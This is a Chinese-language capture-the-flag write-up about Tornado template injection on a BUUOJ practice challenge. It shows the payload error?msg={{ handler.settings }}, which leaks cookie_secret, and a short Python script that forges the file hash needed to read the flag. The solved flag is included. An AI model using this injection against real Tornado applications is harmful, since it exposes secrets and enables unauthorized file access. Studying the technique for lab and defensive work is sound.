tornado模板注入
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
在tornado模板中,存在一些可以访问的快速对象,例如:
<title>
{{ escape(handler.settings["cookie"]) }}
</title>
在Tornado的auth.py
从第360行起有
request_cookie = handler.get_cookie("_oauth_request_token")
if not request_cookie:
raise AuthError("Missing OAuth request token cookie")
handler.clear_cookie("_oauth_request_token")
cookie_key, cookie_secret = [
base64.b64decode(escape.utf8(i)) for i in request_cookie.split("|")
]
if cookie_key != request_key:
raise AuthError("Request token does not match cookie")
token = dict(
key=cookie_key, secret=cookie_secret
) # type: Dict[str, Union[str, bytes]]
关键在这个handler
查一下handler的属性,发现了settings
def _oauth_consumer_token(self) -> Dict[str, Any]:
handler = cast(RequestHandler, self)
handler.require_setting("twitter_consumer_key", "Twitter OAuth")
handler.require_setting("twitter_consumer_secret", "Twitter OAuth")
return dict(
key=handler.settings["twitter_consumer_key"],
secret=handler.settings["twitter_consumer_secret"],
)
看到题目给到了如下一些信息
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
url形如 :http://35848a5d-982a-45c9-a772-1b59e317746f.node3.buuoj.cn/file?filename=/flag.txt&filehash=32c8987c242bb2c5f0b0da175550dab6
根据提示应该payload应该是file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename)),因此现在需要找到cookie_secret
将filename替换为/fllllllllllllag 后发现报错,修改/error?msg=Error错误信息中的msg页面也跟着变
根据render提示应该是模板注入,但存在过滤,ORZ
这里用到的是handler.setting对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings
传递error?msg={{ handler.settings }}得到:
得到secret后,就是计算访问flag文件的hash,获取flag
import hashlib
filename = '/fllllllllllllag'
cookie_secret = '22fd2739-48f9-4346-a61a-800901929cbc'
file_md5 = hashlib.md5(filename).hexdigest()
print file_md5
print hashlib.md5(cookie_secret+file_md5).hexdigest()
解出hash值,
得到flag{f64bfa36-9e57-4653-90d8-e4757daf7216}